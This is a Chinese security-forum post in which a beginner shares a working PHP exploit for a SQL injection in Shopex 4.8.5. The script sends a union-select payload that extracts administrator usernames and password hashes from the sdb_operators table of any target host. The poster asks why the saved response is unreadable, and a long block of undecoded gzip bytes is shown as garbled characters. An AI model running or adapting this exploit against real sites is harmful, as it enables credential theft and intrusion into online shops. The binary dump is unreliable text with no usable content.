关于用php写exp的一点问题

  • A+
所属分类:WooYun-Zone

本人小菜一枚!这两天学者用php写exp

是关于Shopex 4.8.5 SQL Injection 一个页面的注入

写的程序

<?php

error_reporting(E_ERROR);

set_time_limit(3000);

print_r('

  Shopex 4.8.5 SQL Injection Exp

  CopyRight lx

  Time 2013.3.21

  Thank You

  ');

if($argc<2)

{

  print_r('

    Usage:php'.$argv[0].'host

    host:target server(ip/hostname),without "http://"

    Example:

    php '.$argv[0].' localhost

    

    ');

  die;

}

$host = $argv[1];

//$path = $argv[2];

$html='';

//make data pack

$cookie="S[FIRST_REFER]=%7B%22ID%22%3A%22%22%2C%22REFER%22%3A%22http%3A%2F%2Fwww.google.com.hk%2Fsearch%3Fq%3Dpowered%2Bby%2Bshopex%2Bv4.8.5%22%2C%22DATE%22%3A1363769829000%7D; S[NOW_REFER]=%7B%22ID%22%3A%22%22%2C%22REFER%22%3A%22http%3A%2F%2Fwww.google.com.hk%2Fsearch%3Fq%3Dpowered%2Bby%2Bshopex%2Bv4.8.5%22%2C%22DATE%22%3A1363769829000%7D; S[N]=AC8CDD46-1DB6-6D0E-DD45-8475002301E6; __utma=218738830.927058834.1363337799.1363337799.1363337799.1; __utmz=218738830.1363337799.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=powered%20by%20shopex%20v4.8.5; CNZZDATA80674826=cnzz_eid%3D29323950-1363769831-http%253A%252F%252Fwww.fangcj.com%26ntime%3D1363770148%26cnzz_a%3D6%26retime%3D1363338149984%26sin%3Dnone%26ltime%3D1363338149984%26rtime%3D0";

$content="goods%5Bgoods_id%5D=3&goods%5Bproduct_id%5D=1+and+1%3D2+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2Cconcat%280x245E%2Cusername%2C0x2D3E%2Cuserpass%2C0x5E24%29%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22+from+sdb_operators";

$agent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; SE 2.X MetaSr 1.0)";

$data ="POST /?product-gnotify HTPP/1.1\r\n";

$data.="Host: ".$host."\r\n";

$data.="Proxy-Connection: Keep-Alive\r\n";

$data.="User-Agent: ".$agent."\r\n";

$data.="Cache-Control: no-cache\r\n";

$data.="Pragma: no-cache\r\n";

$data.="Accept-Encoding: gzip, deflate\r\n";

$data.="Accept: */*\r\n";

$data.="Accept-Language: zh-cn\r\n";

$data.="Origin: null\r\n";

$data.="DNT: 1\r\n";

$data.="Content-Type: application/x-www-form-urlencoded\r\n";

$data.="Cookie: ".$cookie."\r\n";

$data.="Content-Length: ".strlen($content)."\r\n\r\n";

$data.=$content."\r\n";

//print_r($data);

sendpack($data);

$fp=fopen("./exp.txt",'w+');

fwrite($fp,$html);

function sendpack($packet)

{

  global $host,$html;

  $ock=fsockopen(gethostbyname($host),'80');

        if(!$ock){

    echo "No response from ".$host;die;

  }

  fputs($ock,$packet);

  $html='';

  while(!feof($ock)){

    $html.=fgets($ock);

  }

  fclose($ock);

}

?>

发包返回写到一个文件里面了

可是为什么返回的正文部分都是乱码?

用burp 交就是正常的?

HTTP/1.1 200 OK

Date: Fri, 22 Mar 2013 13:32:44 GMT

Server: Apache/2.2.9 (APMServ) mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/5.2.6

X-Powered-By: PHP/5.2.6

Connection: close

Cache-Control: private

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Content-Language: utf-8

Etag: 54f976826bb21b0f95007b3c5adde31b

Last-Modified: Fri, 22 Mar 2013 13:32:45 GMT

Content-Encoding: gzip

Content-Length: 9115

Content-Type: text/html;charset=utf-8

?       誡{s 菓[wXA" 悁 ?D?y$E9簥d?'耿 ?X + Xxw!挗Xe'g莙熵.;vb;?g9?栥?;?}岥 ?墀gfwg )9W昐brwv ==??=统窍=箌踹焃QZnЛ<豸曳/,+‐>萆鍇誷树緐踱窌Pz?]雨觏|~錜JI礬稺午鬃椎鮅筒淁珬?訵?嬊?翟阯=5瘻e nt赸蠱qvv柗fu

綆_ 谜 ㄛ?萧蚚曉舱u嵁浕嘿3RJ嵖UR徭╉淩k槎c笗聚韧??譼燮K 辿迩?各鬂服簕踺?鈒? w鯉QI?6?活 `獕嵆j竇輕j顿#??也it

[w-[绿晼誟貾Υ m歛C9?? 踙WR& 楻Z堆à ?z震#ジ@/>w籀戇锐j勆爄詹nvtc6w芡夺?悯:p\?kN瀩裫 鹌k宿   ?

龞蜬S笄庌襪呮琓敪 ?U轏鮰窌*М錝賂悼殛v??馸孵fM否陧粉?pa豮1?

媴Ba;涥踡闔y]N孔蜃 #4鬾硋C玒漦?獝觨?ì1r桅湒匐欇媪

綒^藶举 ?躊T糈箹?鋬郿占6稬c齪樱歗+惛a?蝡z蕃Y?堧@@ナ蘩u逞 侔g[鮺屯QE辢{{钬殉yN- 撯氐J?K?颶V垩n8o訫硬闚7岹? ~扈嘿璠? l??瓗

伖ゝ 齨?G:硊扈?G?. I?Y健T浩簜 f??緹 s 輟讷撳蛶8唥税瘋

逝梢潇鬺?曞咛枼仺熵QE?優縫盏?鏦.W?+LC 鹰?楇 ?z樯?娥拴> 崀?]k郎? 積: ?

?E,蘘蘁繿郦A霡鞈 診??鞙? ?^穓}b>嵣 郯镘??~1 B7粰宮竲?脢1 2#餞7潪?劔Kl芺?秳<甭?嵈彚狋 C暮m??嘃*岁b乭艧旎?津?璶袁?醐漑己採嘴榷裿尛 n忦a!y I徘$酟?V=I+?f?~呛摠!{@g琺

 O<}釡G鬐?%c翺泆櫀%蔶7*I+柵赥?

<hl<?渎归?攫

??ㄧ臬巏rz*SVUo9% ??澟坣!VB齬 糿? 篹 ?+v7烼垙鷉漵 荌:擋ㄞ/? 庳侯陼-趼9祵 ?鉾奠5酮D0j賕N捒 O Y"o忈晩 _ %? g *2E?( 啃 €陎EU乔Y'鈼v醆 ?? ?i寶捚骁蛫u蒟聼枲L?bt k毖21?z 硄 }?濻x ?:鯗錕没籶n[?m顰?t?(E啎兒U顲艅?欙螡鈚?i; ?垪€(咗fK璃@?-?見╭:y碨 S?K?楎 ?Z冺w??姀?UbEJ?亿 `B椣抟埤8秫琗c2秱毀 耽*? 48)艶洗

?

H4讂忖???,%骖1o 矄?抐衟友韃l奧?  _<釘N?B'謄荍g2? 劺B鍺! ?\臨F?偛(Q弴G克+S樘i?昁 爪翞铛 {Y菃?皾  ?轰 b?/厌di??# 镎觠 琈?Db严@?YF瞹 5C附$ 聛w[F莗颥D穘?yfD9y2h羷聨9袑!鄨 謿?Xh鲭?e? 焇礮遡?p靊

zt譛硦bnbb?uff&WT閱昝4|

@?蟢P 墫 (? 6u 9跭W跇$闈\憜姠4u嵭労*匙 ?魪徍迟玨鲏悒w擝?*V  桸YU*襊緁 5薜jV[YPD舼辯讵R骘?繺?藕?r: 沝N扱柷H7 ?絀9驕 柲劀ネ珃摱萡j珔雜姡鮰 3??Z俽?

?襇=? 蓚hC [鳄砋  s轗 碨THN 镙祕懽"?8> y紭?稧捝N Y輍椠稕? '老?SlLOV胝z?i7z蛿Re6[%UH錫畦?悇釞 C:じ ?垙 `i? 氛呫 哊x鹦??$ 尘?z/ 9寿~ ?撱 ??耹?瞒阎 笜 ^F1+ q4{戴蜅Pg Rgx鲋c?钌嵀L復N幫 荲螌吞幫,彮L?-嵧,Q  =溿fg0宺旐o&痨 以踡棉?'r誰qf屯?^档^稅+鋜光d甶浡?弯H !SR鱴幬 燨??[?洕 ?尛斊fV苀'芕f?媗V|z3焉@覇& 拸z<GG nf a@垅守R墠?6s啎?[ZN繴x剴4 烗 鄏1k`麎 a<#鮻?孈绿??`椙   -鳬H 6蝐??>G x幱桃

?s 3c3媍K?愑 ?>沦<Q{擪 /€O 9翶众F ?? TG褭;`樮Xp 莓祌蠳 7

湲- ???1?抧S袭^m J蚳穥pB@9 Y罗潪^ 颰夕 u?>豘[?躺嬍甍馏 ?筠嚆?;貙〩9kv{}W醻Tz=?鎚?i 梧?郇暲资敭J? ?溔 (霊o??&?觐荐揞g繓柇??M)V?' 47f罷踼?T縦殖'%忱癅璒 ?絶K??麩飤? I$ 8? 堕?旀?$膘顿l眜 盽 侾 ??鞉睹E?「嗌漒7虽??<涛?潛E晤邁蝴孄 嗲铏I椗i?K叡?圭?铑城?納~l "

= 骟r? 黵绡 风3 0様$鈟癹 w咻y膈琼?軪圔? 板瀢~鷽?龝z?

珡5$%C?苫'v醯j訐 傱jk3匓陛.喟?緉凓 鍲?y稏璿??隹媥盼F:岃?N 毺6L惋穬鹢 ~?耩?击?

?€ S娹茩 ?t▊圌龔挹嗫鵩-$ ?n胂舡9Q璞;C??鋗 V 騥莠??叡橉?7I榶吐揼 轂Y擊??;jà知m絳S帚麵捼"<誯L崈?橵I?碍o柣V 叢gJ?"蘬B? 騦? ?'J 獉s 隔l 炑偫鬅O?殇黪z庆骀? Fmj篜狹 J跻d J骠靦q鍸Io滪蘒i┪鎇E&擝牎餅#S 讐 ▄燒f痍缌v0虷^hM|哮??炢??z5╓,h0a暳?I73?鹢>;x筠茂n  M吉湥|<=:倂蘅畸轔?鵫鳙 F萹塭蜟D贇氝KL~?_磔??5}r椥衿s;稂`珥筐

絆> 槛蹏_黡椏摞?冪飩憷k+9癷{疝 縷 绽?/峻皤?旒縻轃?m 萘梠?|鍩 ~嗾作焳n @蟔鰺}g鱹觏颻?荱 A7x4 栖B叼魟紃 ?Z佯埳?Y?4錷鮸cn欟簛抉胵輥蔴y同C ;6觶?=埂蟅RSf<p?0儮狵\滇<?橏`?SmZ$鑰v爊鬓餰嬹ェo鑮2];蕉 oT事仌嘙湭2峝mc峃.?M虙c脿ヴ x 9n?泿舖 "?kOG殑嶥釨 壯氏=C2QX韉晝k 炥!6洃'保屨葢 a醋頖O誃j?A跒??^?~My 魛=炈-?餙R敨栯Zl = 湕p?Z?詾b??脏犦L诮笧4す朹€肴? x 钧鍍镯~黤燱 o韀グ' a華e[ ? 渤f螎蜑聱 閃伙究篁? 颻゜v 领 X? ﹁t籩 ju薸缝vm驒~接^ow诜蹑禚韻f sb使蓍>赢虾纷嬫?硰6nU訨甿5M ?[ca?z?y舍 Dt杚霗 噪? 莾 ?L烂嵭"渶铖怆`山?摭?磔 ?寍?E鮣o?

z訇m2eZ檧 e糩uzs騉吙宆髟|82€€H鑚鏞炕包脏? 媴  鞛E靯 >嫄c肉 犆? {q黲I?逼?脷悪7x?僕筐鰭w ~褚? > 儃?|噱/?鯼缬鼢?佧鼡壱?? [ i~?蹮揆q坋嬨雔瘴螩?籣繀蔢崺散??6k?輞飼罧 忐餭p 歁

筊盭?絳??}/弯&'K QQ 琵 疴!蛍杀揁?詌樬b?沑lv賄7瞢?_kTZ ?粑?鏸x眷? 2 \仟腽ur昉昒?婠  鰃|恿Y墔9G>?咊?mS挈 +贃墏薦製票tvUer5“2谩 簁 X?,?忀 P["宬;Q悡牙??蜔:vt锪??淑頲G 蟹,[i#P蚗誐W縉甁,I璌~僬趗? ??? C羂屼墖鎘.醚T 蝢 顮㈦u58︶ ? 瓃 ?趿桯!?8?膋?靻涢搃暺缺 "睒? av?=咹?枀A j昒?>鞘穛渃竁X鑅z婹dy 馦 YP堬??;鐝LB哰?^裲 摔虘BG薕Y<?澭6O 臰噗?溗GG暨森曑覨r+>]:]璐漳灀跐\翍~橗 盧j喦鞍 叛橀鰍?_n 霭?V+? 'vK總 飺t2?磬 P撈畚$暺?!?;%嫭羉 鴶 )遮狉H凴|??8葩'?u偫 ?偁D 5 祪?r?  ]鴩€I婦g耙恓垡罫°?D呢8 ?Ne讯鮉??褨?蒱 7橪$*驮5灳黰堤廬貯Z"躬 ? 塍 .V3姞桎 ,嘚 ?:葒 J(厞 珘 ?脬 ??瓗揱Y#1U!??Z [5?唚* Q^豗 ?植,囵q搫 n~朥rS'矊战 ?馳O$弶莭墜??C抎 ??m81

拗狿 ?h&ijV鱆縑? G??笺G?8搀?婎?|<璱翫虲厏m鹨鸔?l喢!嘬?r+孎;?鶎Nb/ 鸼 祧??已矚

G,/^竞饵溆棶"V?? E芻.脃X鄛?朼 j F?甜"肤柆

枬NE?咏项jPX蓴囧I莲熿? ?ze? 謽髪卷鉴?冲 >鴃绻O饄p镥潫}&j恠+晥 ?c? ?w頻%?

L 趵?鳴i?T?啩F裢哾?TUR} 硦膭鄽? '萮哹柏C0 谸盧鋍€'咲 盹艉*|砶淔?0 *扸8h(呟蝮#i+3"4 B!9衼鹸狚%? ? gs荶\L 牮鐇 醅楕'>}>?駱[j??4  詣f?翶耯?D,H?p坔 r??持RZ?幻?L g ?q lqN蔼9奛1 ?j?

韗h(瘷 "颮h LGp襊滻  蒆?UK"k櫢z 樶

毝i@OQ] Z.I'/?侟?D 彫滄?嗨 趯Gc拹糈x f?? I佯 BT? 昪>AC璵t沶+*妞

胾?#pq炋 黐?|钵3尸D?b? ?>F笯 及

R€W貝 <?; 鄥椺s???廹Mr◇H6%蛝寓Z唼龇爭??Y(Q

杋5昜`k?堒們 爚O*` 桗洟韬鎄 i騏啬 L?3hxP; 客晬^趲賯?挗  楏?靓u 怍)?撵"7    xU蟩 ?8屳?%吪,l_T??侄 6 Hgpg?趩 g!樈?~Tr

嬠魠4?昒骛I?! 辟舱黢o6` `?劆曊 动|薆?T.5?&薣衅檨??N嬢 喧T鸶 ?愲瓬+庲 <n缂 ?$* €鱫6 Z摋d}泐欙??礱禲栝X鮲C]C 惢Y)d ╈ 蠂?,?鹫珿陟

?侑?獶匙珦塶 FY聯??冔€袹\U 岊寐?迉蹶諢汈霌/.?畛J??F?尟 T熨诓D^C H? 鞛唌u猜亹d %?耺 骛2 嚙F?趇I龍a絅俉飰瑨ま鉂耠$箩?=棃_v鏝?估   ?t 5Sf;]詥J J粋 Z柙?

v 圸Gwk璽>梌齸铤﹨ 咭髾??怇;T佟*?窠 ?]? n牥 i≦,鲽5?愲{诉霜衴n獕K擎5l3鋃cXe惣裝琩G€K??姽1p:鉵&z'? c嵠苭热"?  磰誒^VQ .<&W绚8'

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: